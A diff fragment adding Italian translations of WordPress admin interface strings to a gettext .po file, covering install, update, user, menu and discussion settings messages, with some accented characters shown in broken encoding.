+msgid "<strong>Warning:</strong> This theme has not been marked as <strong>compatible</strong> with your version of WordPress."
+msgstr "<strong>Attenzione:</strong> questo tema non Ãš stato contrassegnato come <strong>compatibile</strong> con la versione corrente di WordPress."
+
+#: wp-admin/includes/theme-install.php:507
+#, php-format
+msgid "by %s"
+msgstr "di %s"
+
+#: wp-admin/includes/theme-install.php:508
+#, php-format
+msgid "Version: %s"
+msgstr "Versione: %s"
+
+#: wp-admin/includes/theme-install.php:527
+#, php-format
+msgid "Newer version (%s) is installed."
+msgstr "Installata la nuova versione (%s)."
+
+#: wp-admin/includes/theme-install.php:532
+msgid "This version is already installed."
+msgstr "Questa versione risulta giÃ  installata"
+
+#: wp-admin/includes/theme.php:85
+msgid "Unable to locate WordPress theme directory."
+msgstr "Impossibile trovare la directory dei temi di WordPress."
+
+#: wp-admin/includes/theme.php:95
+#, php-format
+msgid "Could not fully remove the theme %s"
+msgstr "Impossibile rimuovere completamente il tema %s"
+
+#: wp-admin/includes/update-core.php:213
+msgid "Verifying the unpacked files"
+msgstr "Verifica dei file spacchettati"
+
+#: wp-admin/includes/update-core.php:217
+msgid "The update could not be unpacked"
+msgstr "L'aggiornamento non puÃ² venir scompattato"
+
+#: wp-admin/includes/update-core.php:220
+msgid "Installing the latest version"
+msgstr "Installazione dell&#8217;ultima versione"
+
+#: wp-admin/includes/update-core.php:245
+msgid "Upgrading database"
+msgstr "Aggiornamento database"
+
+#: wp-admin/includes/update.php:86
+#: wp-admin/includes/update.php:111
+#: wp-admin/plugins.php:427
+#, php-format
+msgid "Version %s"
+msgstr "Versione %s"
+
+#: wp-admin/includes/update.php:100
+#, php-format
+msgid "You are using a development version (%1$s). Cool! Please <a href=\"%2$s\">stay updated</a>."
+msgstr "Si sta utilizzando una versione di sviluppo (%1$s). Grande! Per favore <a href=\"%2$s\">mantenerla aggiornata</a>."
+
+#: wp-admin/includes/update.php:105
+#, php-format
+msgid "<a href=\"%1$s\">Get Version %2$s</a>"
+msgstr "<a href=\"%1$s\">Recuperare la versione %2$s</a>"
+
+#: wp-admin/includes/update.php:129
+#, php-format
+msgid "WordPress %1$s is available! <a href=\"%2$s\">Please update now</a>."
+msgstr "&Egrave; disponibile WordPress %1$s ! <a href=\"%2$s\">Aggiornalo ora</a>."
+
+#: wp-admin/includes/update.php:131
+#, php-format
+msgid "WordPress %1$s is available! Please notify the site administrator."
+msgstr "&Egrave; disponibile WordPress %1$s! Si prega di informarel&#8217;amministratore."
+
+#: wp-admin/includes/update.php:141
+#, php-format
+msgid "You are using <span class=\"b\">WordPress %s</span>."
+msgstr "Si sta utilizzando <span class=\"b\">WordPress %s</span>."
+
+#: wp-admin/includes/update.php:143
+#, php-format
+msgid "Update to %s"
+msgstr "Aggiornare a %s"
+
+#: wp-admin/includes/update.php:143
+msgid "Latest"
+msgstr "Ultima"
+
+#: wp-admin/includes/update.php:162
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s Details</a>."
+msgstr "&Egrave; disponibile una nuova versione di %1$s. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">Visualizzare i dettagli sulla versione %4$s</a>"
+
+#: wp-admin/includes/update.php:164
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s Details</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "&Egrave; disponibile una nuova versione di %1$s. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">Visualizzare i dettagli sulla versione %4$s</a> <em>aggiornamento automatico non disponibile per questo plugin</em>."
+
+#: wp-admin/includes/update.php:166
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">View version %4$s Details</a> or <a href=\"%5$s\">upgrade automatically</a>."
+msgstr "&Egrave; disponibile una nuova versione di %1$s. <a href=\"%2$s\" class=\"thickbox\" title=\"%3$s\">Visualizzare i dettagli sulla versione %4$s</a> oppure <a href=\"%5$s\">aggiornare automaticamente</a>."
+
+#: wp-admin/includes/update.php:212
+#, php-format
+msgid "An automated WordPress update has failed to complete - <a href=\"%s\">please attempt the update again now</a>."
+msgstr "Un aggiornamento automatico di WordPress non si Ãš installato completamente - <a href=\"%s\">riprovare l'aggiornamento adesso</a>."
+
+#: wp-admin/includes/update.php:214
+msgid "An automated WordPress update has failed to complete! Please notify the site administrator."
+msgstr "Un aggiornamento automatico di WordPress non si Ãš installato completamente! Si prega di informare l&#8217;amministratore del sito."
+
+#: wp-admin/includes/upgrade.php:62
+msgid "<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you."
+msgstr "<strong><em>Annota questa password</em></strong> attentamente! &Egrave; una password <em>casuale</em> che Ãš stata generata appositamente per te."
+
+#: wp-admin/includes/upgrade.php:67
+msgid "User already exists.  Password inherited."
+msgstr "Utente giÃ  esistente. La password Ãš stata ereditata."
+
+#. translators: Default category slug
+#: wp-admin/includes/upgrade.php:101
+msgctxt "Default category slug"
+msgid "Uncategorized"
+msgstr "Senza categoria"
+
+#. translators: Default link category slug
+#: wp-admin/includes/upgrade.php:109
+msgctxt "Default link category slug"
+msgid "Blogroll"
+msgstr "Blogroll"
+
+#: wp-admin/includes/upgrade.php:165
+msgid "Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!"
+msgstr "Benvenuto in WordPress. Questo Ãš il tuo primo articolo. Modificalo o cancellalo e inizia a creare il tuo blog!"
+
+#: wp-admin/includes/upgrade.php:167
+msgid "Hello world!"
+msgstr "Ciao mondo!!"
+
+#. translators: Default post slug
+#: wp-admin/includes/upgrade.php:169
+msgctxt "Default post slug"
+msgid "hello-world"
+msgstr "ciao-mondo"
+
+#: wp-admin/includes/upgrade.php:183
+msgid "Mr WordPress"
+msgstr "Mr WordPress"
+
+#: wp-admin/includes/upgrade.php:188
+msgid "Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them."
+msgstr "Salve, questo Ãš un commento.<br />Per cancellare un commento fare il login e visualizzare i commenti di un articolo, a questo punto si avrÃ  la possibilitÃ  di modificarli o cancellarli."
+
+#: wp-admin/includes/upgrade.php:196
+msgid "This is an example of a WordPress page, you could edit this to put information about yourself or your site so readers know where you are coming from. You can create as many pages like this one or sub-pages as you like and manage all of your content inside of WordPress."
+msgstr "Questa pagina Ãš un esempio di una pagina di WordPress, Ãš possibile per inserire le informazioni sul proprio profilo e sul proprio sito. &Egrave; possibile creare quante pagine si desiderano simili a questa o anche delle sottopagine e gestirne il contenuto all&#8217;interno di WordPress."
+
+#: wp-admin/includes/upgrade.php:198
+#: wp-includes/js/tinymce/langs/wp-langs.php:251
+#: wp-includes/js/tinymce/wp-mce-help.php:177
+msgid "About"
+msgstr "Info"
+
+#. translators: Default page slug
+#: wp-admin/includes/upgrade.php:200
+msgctxt "Default page slug"
+msgid "about"
+msgstr "info"
+
+#: wp-admin/includes/upgrade.php:229
+#, php-format
+msgid ""
+"Your new WordPress blog has been successfully set up at:\n"
+"\n"
+"%1$s\n"
+"\n"
+"You can log in to the administrator account with the following information:\n"
+"\n"
+"Username: %2$s\n"
+"Password: %3$s\n"
+"\n"
+"We hope you enjoy your new blog. Thanks!\n"
+"\n"
+"--The WordPress Team\n"
+"http://wordpress.org/\n"
+msgstr ""
+"Il nuovo blog WordPress Ãš stato installato con successo a questo indirizzo:\n"
+"\n"
+"%1$s\n"
+"\n"
+"&Egrave; possibile fare il login come amministratore inserendo queste informazioni:\n"
+"\n"
+"Nome utente: %2$s\n"
+"Password: %3$s\n"
+"\n"
+"Speriamo che questo nuovo blog vi piaccia. Grazie!\n"
+"\n"
+"--Il team di WordPress\n"
+"http://wordpress.org/\n"
+
+#: wp-admin/includes/upgrade.php:244
+msgid "New WordPress Blog"
+msgstr "Nuovo blog WordPress"
+
+#: wp-admin/includes/user.php:33
+#: wp-admin/includes/user.php:85
+#: wp-admin/users.php:53
+msgid "You can&#8217;t give users that role."
+msgstr "Non Ãš possibile assegnare agli utenti questo ruolo."
+
+#: wp-admin/includes/user.php:138
+#: wp-login.php:236
+msgid "<strong>ERROR</strong>: Please enter a username."
+msgstr "<strong>ERRORE</strong>: inserire un nome utente."
+
+#: wp-admin/includes/user.php:145
+#: wp-admin/includes/user.php:147
+msgid "<strong>ERROR</strong>: You entered your new password only once."
+msgstr "<strong>ERRORE</strong>: si Ãš digitata la nuova password solo una volta."
+
+#: wp-admin/includes/user.php:150
+msgid "<strong>ERROR</strong>: Please enter your password."
+msgstr "<strong>ERRORE</strong>: inserire la propria password."
+
+#: wp-admin/includes/user.php:152
+msgid "<strong>ERROR</strong>: Please enter your password twice."
+msgstr "<strong>ERRORE</strong>: inserire due volte la propria password."
+
+#: wp-admin/includes/user.php:157
+msgid "<strong>ERROR</strong>: Passwords may not contain the character \"\\\"."
+msgstr "<strong>ERRORE</strong>: le password non possono contenere il carattere \"\\\"."
+
+#: wp-admin/includes/user.php:161
+msgid "<strong>ERROR</strong>: Please enter the same password in the two password fields."
+msgstr "<strong>ERRORE</strong>: digitare la medesima password nei due campi password."
+
+#: wp-admin/includes/user.php:167
+msgid "<strong>ERROR</strong>: This username is invalid. Please enter a valid username."
+msgstr "<strong>ERRORE</strong>: questo nome utente non Ãš valido. Inserire un nome utente valido."
+
+#: wp-admin/includes/user.php:170
+msgid "<strong>ERROR</strong>: This username is already registered. Please choose another one."
+msgstr "<strong>ERRORE</strong>: questo nome utente Ãš giÃ  registrato, scegliere un altro nome utente."
+
+#: wp-admin/includes/user.php:174
+msgid "<strong>ERROR</strong>: Please enter an e-mail address."
+msgstr "<strong>ERRORE</strong>: inserisci un indirizzo e-mail"
+
+#: wp-admin/includes/user.php:176
+msgid "<strong>ERROR</strong>: The e-mail address isn&#8217;t correct."
+msgstr "<strong>ERRORE</strong>: l&#8217;indirizzo e-mail non Ãš corretto."
+
+#: wp-admin/includes/user.php:178
+#: wp-login.php:250
+msgid "<strong>ERROR</strong>: This email is already registered, please choose another one."
+msgstr "<strong>ERRORE</strong>: questa email Ãš giÃ  registrata, scegliere un diverso indirizzo e-mail."
+
+#: wp-admin/includes/user.php:692
+msgid "No matching users were found!"
+msgstr "Nessun utente trovato!"
+
+#: wp-admin/includes/user.php:833
+#, php-format
+msgid ""
+"Notice: you're using the auto-generated password for your account. Would you like to change it to something you'll remember easier?<br />\n"
+"\t\t\t  <a href='%s'>Yes, Take me to my profile page</a> | <a href='%s' id='default-password-nag-no'>No Thanks, Do not remind me again.</a>"
+msgstr ""
+"Attenzione: si sta utilizzando per il proprio account una password generata in automatico. Si desidera cambiarla con una che sia piÃ¹ facile ricordare?<br />\n"
+"\t\t\t  <a href='%s'>Si, aprire la pagina del mio profilo</a> | <a href='%s' id='default-password-nag-no'>No grazie, Non ricordarmelo mai piÃ¹.</a>"
+
+#: wp-admin/includes/widgets.php:179
+#: wp-admin/widgets.php:249
+#: wp-includes/widgets.php:67
+msgid "There are no options for this widget."
+msgstr "Non vi sono opzioni per questo widget."
+
+#: wp-admin/includes/widgets.php:191
+#: wp-admin/widgets.php:286
+msgid "Remove"
+msgstr "Rimuovi"
+
+#: wp-admin/index.php:24
+#: wp-admin/menu.php:28
+msgid "Dashboard"
+msgstr "Bacheca"
+
+#: wp-admin/install.php:42
+msgid "WordPress &rsaquo; Installation"
+msgstr "WordPress &rsaquo; Installazione"
+
+#: wp-admin/install.php:54
+#, php-format
+msgid "<strong>ERROR</strong>: %s"
+msgstr "<strong>ERRORE</strong>: %s"
+
+#: wp-admin/install.php:59
+#: wp-admin/options-general.php:62
+#: xmlrpc.php:404
+msgid "Blog Title"
+msgstr "Titolo blog"
+
+#: wp-admin/install.php:63
+msgid "Your E-mail"
+msgstr "Tua e-mail"
+
+#: wp-admin/install.php:65
+msgid "Double-check your email address before continuing."
+msgstr "Controlla attentamente l&#8217;indirizzo e-mail prima di continuare."
+
+#: wp-admin/install.php:68
+msgid "Allow my blog to appear in search engines like Google and Technorati."
+msgstr "Voglio che il mio blog appaia su motori di ricerca come Google e Technorati."
+
+#: wp-admin/install.php:71
+msgid "Install WordPress"
+msgstr "Installa WordPress"
+
+#: wp-admin/install.php:77
+msgid "Already Installed"
+msgstr "GiÃ  installato"
+
+#: wp-admin/install.php:77
+msgid "You appear to have already installed WordPress. To reinstall please clear your old database tables first."
+msgstr "Sembra che WordPress sia giÃ  installato. Per poterlo reinstallare si deve prima eliminare le tabelle del database."
+
+#: wp-admin/install.php:84
+msgid "Welcome"
+msgstr "Benvenuto"
+
+#: wp-admin/install.php:85
+#, php-format
+msgid "Welcome to the famous five minute WordPress installation process! You may want to browse the <a href=\"%s\">ReadMe documentation</a> at your leisure.  Otherwise, just fill in the information below and you&#8217;ll be on your way to using the most extendable and powerful personal publishing platform in the world."
+msgstr "Benvenuti nella famosa procedura dei cinque minuti per l&#8217;installazione di WordPress! Potreste voler scorrere la <a href=\"%s\">documentazione in Leggimi</a>. Altrimenti, indicare le seguenti informazioni e sarete sulla strada per utilizzare la piÃ¹ estensibile e potente piattaforma di editoria personale del mondo."
+
+#: wp-admin/install.php:86
+msgid "First Step"
+msgstr "Primo passo"
+
+#: wp-admin/install.php:88
+msgid "Information needed"
+msgstr "Servono delle informazioni"
+
+#: wp-admin/install.php:89
+msgid "Please provide the following information.  Don&#8217;t worry, you can always change these settings later."
+msgstr "Prima di iniziare, abbiamo bisogno di alcune informazioni. Non preoccuparsi, si potrÃ  sempre cambiarle in seguito."
+
+#: wp-admin/install.php:109
+msgid "you must provide an e-mail address."
+msgstr "occorre fornire un indirizzo e-mail."
+
+#: wp-admin/install.php:113
+msgid "that isn&#8217;t a valid e-mail address.  E-mail addresses look like: <code>username@example.com</code>"
+msgstr "questo non Ãš un indirizzo email valido. Gli indirizzi email hanno un formato del tipo: <code>nomeutente@esempio.com</code>"
+
+#: wp-admin/install.php:123
+msgid "Success!"
+msgstr "Successo!"
+
+#: wp-admin/install.php:125
+msgid "WordPress has been installed. Were you expecting more steps? Sorry to disappoint."
+msgstr "WordPress Ãš stato installato. Non vi sono altri passi? Spiacenti di deludervi. :)"
+
+#: wp-admin/install.php:141
+#: wp-login.php:495
+#: wp-login.php:514
+msgid "Log In"
+msgstr "Collegati"
+
+#: wp-admin/link-add.php:12
+msgid "Add New Link"
+msgstr "Aggiungi nuovo link"
+
+#: wp-admin/link-manager.php:18
+#: wp-admin/link-manager.php:48
+#: wp-admin/link.php:18
+msgid "You do not have sufficient permissions to edit the links for this blog."
+msgstr "Non si dispone di permessi sufficienti per modificare i link di questo blog."
+
+#: wp-admin/link-manager.php:83
+#, php-format
+msgid "%s link deleted."
+msgid_plural "%s links deleted"
+msgstr[0] "%s link cancellato."
+msgstr[1] "%s link cancellati"
+
+#: wp-admin/link-manager.php:91
+#: wp-admin/link-manager.php:93
+msgid "Search Links"
+msgstr "Cerca link"
+
+#: wp-admin/link-manager.php:111
+msgid "View all Categories"
+msgstr "Visualizza tutte le categorie"
+
+#: wp-admin/link-manager.php:117
+msgid "Order by Link ID"
+msgstr "Ordina per ID link"
+
+#: wp-admin/link-manager.php:118
+msgid "Order by Name"
+msgstr "Ordina per nome"
+
+#: wp-admin/link-manager.php:119
+msgid "Order by Address"
+msgstr "Ordina per indirizzo"
+
+#: wp-admin/link-manager.php:120
+msgid "Order by Rating"
+msgstr "Ordina per  valutazione"
+
+#: wp-admin/link-manager.php:176
+msgid "Yes"
+msgstr "Si"
+
+#: wp-admin/link-manager.php:213
+#, php-format
+msgid "Visit %s"
+msgstr "Visita %s"
+
+#: wp-admin/link-manager.php:254
+msgid "No links found."
+msgstr "Nessun link trovato."
+
+#: wp-admin/link-parse-opml.php:90
+#, php-format
+msgid "XML error: %1$s at line %2$s"
+msgstr "Errore XML: %1$s alla riga %2$s"
+
+#: wp-admin/link.php:102
+msgid "Edit Link"
+msgstr "Modifica link"
+
+#: wp-admin/link.php:107
+msgid "Link not found."
+msgstr "Link non trovato."
+
+#: wp-admin/media-upload.php:29
+msgid "You are not allowed to be here"
+msgstr "Non si dispone del permesso per accedere qui."
+
+#: wp-admin/media-upload.php:54
+msgid "Upload New Media"
+msgstr "Caricamento nuovo file media"
+
+#: wp-admin/media.php:23
+#: wp-admin/media.php:57
+msgid "You are not allowed to edit this attachment."
+msgstr "Non si dispone del permesso per modificare questo allegato."
+
+#: wp-admin/media.php:73
+#: wp-admin/upload.php:153
+msgid "Media attachment updated."
+msgstr "Aggiornato l&#8217;allegato media"
+
+#: wp-admin/media.php:95
+msgid "Update Media"
+msgstr "Aggiorna media"
+
+#. translators: add new post
+#: wp-admin/menu.php:35
+msgctxt "post"
+msgid "Add New"
+msgstr "Aggiungi nuovo"
+
+#: wp-admin/menu.php:49
+msgid "Library"
+msgstr "Libreria"
+
+#. translators: add new file
+#: wp-admin/menu.php:51
+msgctxt "file"
+msgid "Add New"
+msgstr "Aggiungi nuovo"
+
+#. translators: add new links
+#: wp-admin/menu.php:56
+msgctxt "links"
+msgid "Add New"
+msgstr "Aggiungi nuovo"
+
+#. translators: add new page
+#: wp-admin/menu.php:62
+msgctxt "page"
+msgid "Add New"
+msgstr "Aggiungi nuova"
+
+#: wp-admin/menu.php:64
+#, php-format
+msgid "Comments %s"
+msgstr "Commenti %s"
+
+#: wp-admin/menu.php:70
+msgid "Appearance"
+msgstr "Aspetto"
+
+#: wp-admin/menu.php:71
+msgid "Themes"
+msgstr "Temi"
+
+#: wp-admin/menu.php:72
+#: wp-admin/menu.php:84
+msgid "Editor"
+msgstr "Editor"
+
+#: wp-admin/menu.php:73
+msgid "Add New Themes"
+msgstr "Aggiungi nuovo tema"
+
+#: wp-admin/menu.php:80
+#, php-format
+msgid "Plugins %s"
+msgstr "Plugin %s"
+
+#: wp-admin/menu.php:81
+msgid "Installed"
+msgstr "Installati"
+
+#. translators: add new plugin
+#: wp-admin/menu.php:83
+msgctxt "plugin"
+msgid "Add New"
+msgstr "Aggiungi nuovo"
+
+#: wp-admin/menu.php:89
+#: wp-admin/user-edit.php:18
+msgid "Profile"
+msgstr "Profilo"
+
+#: wp-admin/menu.php:93
+msgid "Authors &amp; Users"
+msgstr "Autori &amp; utenti"
+
+#: wp-admin/menu.php:94
+msgid "Add New"
+msgstr "Aggiungi nuovo"
+
+#: wp-admin/menu.php:95
+#: wp-admin/menu.php:98
+msgid "Your Profile"
+msgstr "Il tuo profilo"
+
+#: wp-admin/menu.php:101
+#: wp-admin/menu.php:102
+#: wp-admin/tools.php:12
+msgid "Tools"
+msgstr "Strumenti"
+
+#: wp-admin/menu.php:105
+msgid "Upgrade"
+msgstr "Aggiorna"
+
+#: wp-admin/menu.php:107
+#: wp-admin/options.php:18
+msgid "Settings"
+msgstr "Impostazioni"
+
+#: wp-admin/menu.php:108
+#: wp-includes/js/tinymce/langs/wp-langs.php:303
+msgid "General"
+msgstr "Generale"
+
+#: wp-admin/menu.php:109
+msgid "Writing"
+msgstr "Scrittura"
+
+#: wp-admin/menu.php:110
+msgid "Reading"
+msgstr "Lettura"
+
+#: wp-admin/menu.php:113
+msgid "Privacy"
+msgstr "Privacy"
+
+#: wp-admin/menu.php:114
+msgid "Permalinks"
+msgstr "Permalink"
+
+#: wp-admin/menu.php:115
+msgid "Miscellaneous"
+msgstr "Varie"
+
+#: wp-admin/menu.php:309
+msgid "You do not have sufficient permissions to access this page."
+msgstr "Non si dispone di permessi sufficienti per accedere a questa pagina."
+
+#: wp-admin/options-discussion.php:12
+msgid "Discussion Settings"
+msgstr "Impostazioni discussione"
+
+#: wp-admin/options-discussion.php:27
+#: wp-admin/options-discussion.php:28
+msgid "Default article settings"
+msgstr "Impostazioni predefinite per gli articoli"
+
+#: wp-admin/options-discussion.php:31
+msgid "Attempt to notify any blogs linked to from the article (slows down posting.)"
+msgstr "Cerca di notificare tutti i blog citati da questo articolo (rallenta l&#8217;inserimento dei post.)"
+
+#: wp-admin/options-discussion.php:35
+msgid "Allow link notifications from other blogs (pingbacks and trackbacks.)"
+msgstr "Permetti la notifica da altri blog (pingback e trackback.)"
+
+#: wp-admin/options-discussion.php:39
+msgid "Allow people to post comments on new articles"
+msgstr "Consenti la scrittura di commenti per i nuovi articoli"
+
+#: wp-admin/options-discussion.php:41
+msgid "These settings may be overridden for individual articles."
+msgstr "Queste impostazioni possono essere modificate per i singoli articoli."
+
+#: wp-admin/options-discussion.php:45
+#: wp-admin/options-discussion.php:46
+msgid "Other comment settings"
+msgstr "Altre impostazioni commenti"
+
+#: wp-admin/options-discussion.php:47
+msgid "Comment author must fill out name and e-mail"
+msgstr "L&#8217;autore del commento deve inserire nome e indirizzo e-mail"
+
+#: wp-admin/options-discussion.php:51
+msgid "Users must be registered and logged in to comment"
+msgstr "Gli utenti devono essere registrati e fare il login per poter inviare commenti"
+
+#: wp-admin/options-discussion.php:57
+#, php-format
+msgid "Automatically close comments on articles older than %s days"
+msgstr "Chiudere automaticamente i commmenti degli articoli piÃ¹ vecchi di %s giorni"
+
+#: wp-admin/options-discussion.php:73
+#, php-format
+msgid "Enable threaded (nested) comments %s levels deep"
+msgstr "Abilitare i commenti nidificati per %s livelli di profonditÃ "
+
+#: wp-admin/options-discussion.php:82
+msgid "last"
+msgstr "l'ultima"
+
+#: wp-admin/options-discussion.php:84
+msgid "first"
+msgstr "la prima"
+
+#: wp-admin/options-discussion.php:86
+#, php-format
+msgid "Break comments into pages with %1$s comments per page and the %2$s page displayed by default"
+msgstr "Suddividere i commenti in pagine con %1$s commenti per pagina e con %2$s pagina visualizzata in maniera predefinita"
+
+#: wp-admin/options-discussion.php:94
+msgid "older"
+msgstr "vecchio"
+
+#: wp-admin/options-discussion.php:96
+msgid "newer"
+msgstr "nuovo"
+
+#: wp-admin/options-discussion.php:98
+#, php-format
+msgid "Comments should be displayed with the %s comments at the top of each page"
+msgstr "I commenti devono venir visualizzati con %s commenti in cima a ciascuna pagina"
+
+#: wp-admin/options-discussion.php:104
+#: wp-admin/options-discussion.php:105
+msgid "E-mail me whenever"
+msgstr "Invia una e-mail ogni volta che"
+
+#: wp-admin/options-discussion.php:108
+msgid "Anyone posts a comment"
+msgstr "Qualcuno inserisce un commento"
+
+#: wp-admin/options-discussion.php:112
+msgid "A comment is held for moderation"
+msgstr "Un commento viene messo in coda di moderazione"
+
+#: wp-admin/options-discussion.php:116
+#: wp-admin/options-discussion.php:117
+msgid "Before a comment appears"
+msgstr "Prima che appaia un commento"
+
+#: wp-admin/options-discussion.php:120
+msgid "An administrator must always approve the comment"
+msgstr "Un amministratore deve sempre approvare il commento"
+
+#: wp-admin/options-discussion.php:122
+msgid "Comment author must have a previously approved comment"
+msgstr "Gli autori di un commento devono avere un commento giÃ  approvato in precedenza"
+
+#: wp-admin/options-discussion.php:126
+#: wp-admin/options-discussion.php:127
+msgid "Comment Moderation"
+msgstr "Moderazione commenti"
+
+#: wp-admin/options-discussion.php:128
+#, php-format
+msgid "Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)"
+msgstr "Mantieni un commento in coda se contiene %s o piÃ¹ link (una caratteristica comune dello spam nei commenti Ãš il gran numero di link)."
+
+#: wp-admin/options-discussion.php:130
+msgid "When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be held in the <a href=\"edit-comments.php?comment_status=moderated\">moderation queue</a>. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;."
+msgstr "Quando un commento contiene una di queste parole, nel testo, nel nome, nella URL, nella e-mail o nell&#8217;IP, verrÃ  posto nella <a href=\"moderation.php\">coda di moderazione</a>. Inserire una singola parola o IP per linea. Verranno cercate corrispondenze anche all&#8217;interno delle parole, quindi &#8220;press&#8221;  troverÃ  una corrispondenza in &#8220;WordPress&#8221;."
+
+#: wp-admin/options-discussion.php:137
+#: wp-admin/options-discussion.php:138
+msgid "Comment Blacklist"
+msgstr "Blacklist dei commenti"
+
+#: wp-admin/options-discussion.php:139
+msgid "When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be marked as spam. One word or IP per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;."
+msgstr "Quando un commento contiene una di queste parole, nel testo, nel nome, nell&#8217;URL, nell&#8217;e-mail o nell&#8217;IP, verrÃ  contrassegnato come spam. Inserire una singola parola o IP per ciascuna linea. Verranno cercate corrispondenze anche all&#8217;interno delle parole, quindi ad esempiola parola &#8220;press&#8221; troverÃ  una corrispondenza in &#8220;WordPress&#8221;."
+
+#: wp-admin/options-discussion.php:148
+msgid "Avatars"
+msgstr "Avatar"
+
+#: wp-admin/options-discussion.php:150
+msgid "An avatar is an image that follows you from weblog to weblog appearing beside your name when you comment on avatar enabled sites.  Here you can enable the display of avatars for people who comment on your blog."
+msgstr "Un avatar Ãš una immagine che segue l&#8217;utente di blog in blog e appare accanto al nome quando si commenta su siti che sono abilitati agli avatar. In questa sezione Ãš possibile abilitare la visualizzazione degli avatar per le persone che commentano questo blog."
+
+#: wp-admin/options-discussion.php:156
+msgid "Avatar Display"
+msgstr "Visualizzazione avatar"
+
+#: wp-admin/options-discussion.php:157
+msgid "Avatar display"
+msgstr "Visualizzazione avatar"
+
+#: wp-admin/options-discussion.php:159
+msgid "Don&#8217;t show Avatars"
+msgstr "Non mostrare avatar"
+
+#: wp-admin/options-discussion.php:159
+msgid "Show Avatars"
+msgstr "Mostra avatar"
+
+#: wp-admin/options-discussion.php:168
+#: wp-admin/options-discussion.php:169
+msgid "Maximum Rating"
+msgstr "Punteggio massimo"
+
+#: wp-admin/options-discussion.php:172
+msgid "G &#8212; Suitable for all audiences"
+msgstr "G &#8212; Adatto a qualsiasi pubblico"
+
+#: wp-admin/options-discussion.php:172
+msgid "PG &#8212; Possibly offensive, usually for audiences 13 and above"
+msgstr "PG &#8212; Forse offensivo, solitamente per un pubblico di 13 anni o superiore"
+
+#: wp-admin/options-discussion.php:172
+msgid "R &#8212; Intended for adult audiences above 17"
+msgstr "R &#8212; Inteso per un pubblico adulto di oltre 17 anni"
+
+#: wp-admin/options-discussion.php:172
+msgid "X &#8212; Even more mature than above"
+msgstr "X &#8212; Per un pubblico ancora piÃ¹ maturo del precedente"
+
+#: wp-admin/options-discussion.php:182
+#: wp-admin/options-discussion.php:183
+msgid "Default Avatar"
+msgstr "Avatar standard"
+
+#: wp-admin/options-discussion.php:185
+msgid "For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their e-mail address."
+msgstr "Per quegli utenti che non hanno un proprio avatar Ãš possibile visualizzare un logo generico oppure uno generato in base al loro indirizzo email."
+
+#: wp-admin/options-discussion.php:189
+msgid "Mystery Man"
+msgstr "Mystery Man"
+
+#: wp-admin/options-discussion.php:190
+msgid "Blank"
+msgstr "Vuoto"
+
+#: wp-admin/options-discussion.php:191
+msgid "Gravatar Logo"
+msgstr "Logo Gravatar"
+
+#: wp-admin/options-discussion.php:192
+msgid "Identicon (Generated)"
+msgstr "Identicon (Generato)"
+
+#: wp-admin/options-discussion.php:193
+msgid "Wavatar (Generated)"
+msgstr "Wavatar (Generato)"
+
+#: wp-admin/options-discussion.php:194
+msgid "MonsterID (Generated)"
+msgstr "MonsterID (Generato)"
+
+#: wp-admin/options-general.php:12
+msgid "General Settings"
+msgstr "Impostazioni generali"
+
+#. translators: date and time format for exact current time, mainly about timezones, see http://php.net/date
+#: wp-admin/options-general.php:15
+msgctxt "timezone date format"
+msgid "Y-m-d G:i:s"
+msgstr "d-m-Y G:i:s"
+
+#: wp-admin/options-general.php:66
+msgid "Tagline"
+msgstr "Motto"
+
+#: wp-admin/options-general.php:68
+msgid "In a few words, explain what this blog is about."
+msgstr "Spiegare in poche parole l&#8217;argomento di questo blog."
+
+#: wp-admin/options-general.php:71
+msgid "WordPress address (URL)"
+msgstr "Indirizzo WordPress (URL)"
+
+#: wp-admin/options-general.php:75
+msgid "Blog address (URL)"
+msgstr "Indirizzo del blog (URL)"
+
+#: wp-admin/options-general.php:77
+msgid "Enter the address here if you want your blog homepage <a href=\"http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory\">to be different from the directory</a> you installed WordPress."
+msgstr "Inserire l&#8217;indirizzo se si desidera che la homepage del blog <a href=\"http://codex.wordpress.org/Giving_WordPress_Its_Own_Directory\">sia diversa dalla directory</a> dove Ãš installato WordPress."
+
+#: wp-admin/options-general.php:80
+msgid "E-mail address"
+msgstr "Indirizzo e-mail"
+
+#: wp-admin/options-general.php:82
+msgid "This address is used for admin purposes, like new user notification."
+msgstr "Questo indirizzo viene utilizzato solo per scopi amministrativi, quali la notifica di nuovi utenti."
+
+#: wp-admin/options-general.php:85
+#: wp-admin/options-general.php:86
+msgid "Membership"
+msgstr "Iscrizione"
+
+#: wp-admin/options-general.php:88
+msgid "Anyone can register"
+msgstr "Chiunque puÃ² registrarsi"
+
+#: wp-admin/options-general.php:92
+msgid "New User Default Role"
+msgstr "Ruolo predefinito nuovi utenti"
+
+#: wp-admin/options-general.php:101
+#: wp-admin/options-general.php:145
+msgid "Timezone"
+msgstr "Fuso orario"
+
+#: wp-admin/options-general.php:123
+#: wp-includes/functions.php:3303
+#, php-format
+msgid "UTC %s"
+msgstr "UTC %s"
+
+#: wp-admin/options-general.php:127
+msgid "hours"
+msgstr "ore"
+
+#: wp-admin/options-general.php:128
+#: wp-admin/options-general.php:152
+#, php-format
+msgid "<abbr title=\"Coordinated Universal Time\">UTC</abbr> time is <code>%s</code>"
+msgstr "L&#8217;orario <abbr title=\"Coordinated Universal Time\">UTC</abbr> Ãš <code>%s</code>"
+
+#: wp-admin/options-general.php:130
+#, php-format
+msgid "UTC %1$s is <code>%2$s</code>"
+msgstr "UTC %1$s Ãš <code>%2$s</code>"
+
